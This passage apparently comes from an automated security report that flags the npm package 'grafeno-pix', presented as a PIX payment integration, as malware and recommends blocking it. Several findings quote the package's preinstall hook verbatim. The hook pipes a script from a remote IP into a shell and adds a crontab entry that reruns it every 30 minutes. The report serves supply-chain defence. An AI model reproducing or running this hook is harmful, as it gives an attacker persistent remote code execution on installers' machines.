It then attempts recurring cron-based persistence. - **Trigger:** npm installation, before the package is installed. - **Impact:** Arbitrary code from the remote host can run as the installing user and recur every 30 minutes. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-28T22:56:58.796Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Preinstall remote shell execution plus cron persistence. - **Attack narrative:** The package's preinstall hook invokes curl and pipes the downloaded script into a shell. It then modifies the installing user's crontab to repeat that remote execution every 30 minutes. Both operations suppress errors, and execution occurs without an explicit user command beyond package installation. - **Rationale:** This is concrete unconsented install-time remote code execution with persistence. The harmless runtime stub does not mitigate the lifecycle attack. - **Files touched:** package.json - **Network endpoints:** 216.126.236.46/x.sh ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The preinstall hook downloads and executes a shell script from an IP address., The hook installs a cron job that reruns the remote script every 30 minutes., Errors are suppressed, concealing failed execution and persistence attempts. - **Evidence against:** The runtime entry point only exports a minimal payment stub., No additional package source files were present. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \"*/3... ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \"*/3... ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. Low: No License - **Category:** Manifest - **Confidence:** 80.0% Package manifest does not declare a clear license. ### 5. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The preinstall hook downloads and executes a shell script from an IP address. Public source snippet (untrusted): ```json "preinstall": "node -e \"const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \\\"*/30 * * * * curl -s 216.126.236.46/x.sh|sh\\\")|crontab -',{shell:'/bin/bash'})}catch(c){}\"" ``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The hook installs a cron job that reruns the remote script every 30 minutes. Public source snippet (untrusted): ```json "preinstall": "node -e \"const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \\\"*/30 * * * * curl -s 216.126.236.46/x.sh|sh\\\")|crontab -',{shell:'/bin/bash'})}catch(c){}\"" ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** preinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** grafeno-pix - **Ecosystem:** npm - **Version:** 1.0.0 - **Version published:** 2026-08-28T22:48:22.823Z - **Package first seen:** 2026-08-28T22:56:58.796Z - **Package last seen:** 2026-08-28T23:40:06.269Z - **Known versions:** 2 - **Latest version:** 1.0.1 - **Appeal under review:** No - **Description:** PIX integration for Grafeno - **Author:** devx@grafeno.digital - **Artifact files:** 2 - **Artifact unpacked size:** 533 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OSV advisory]() - [PACKAGE]()
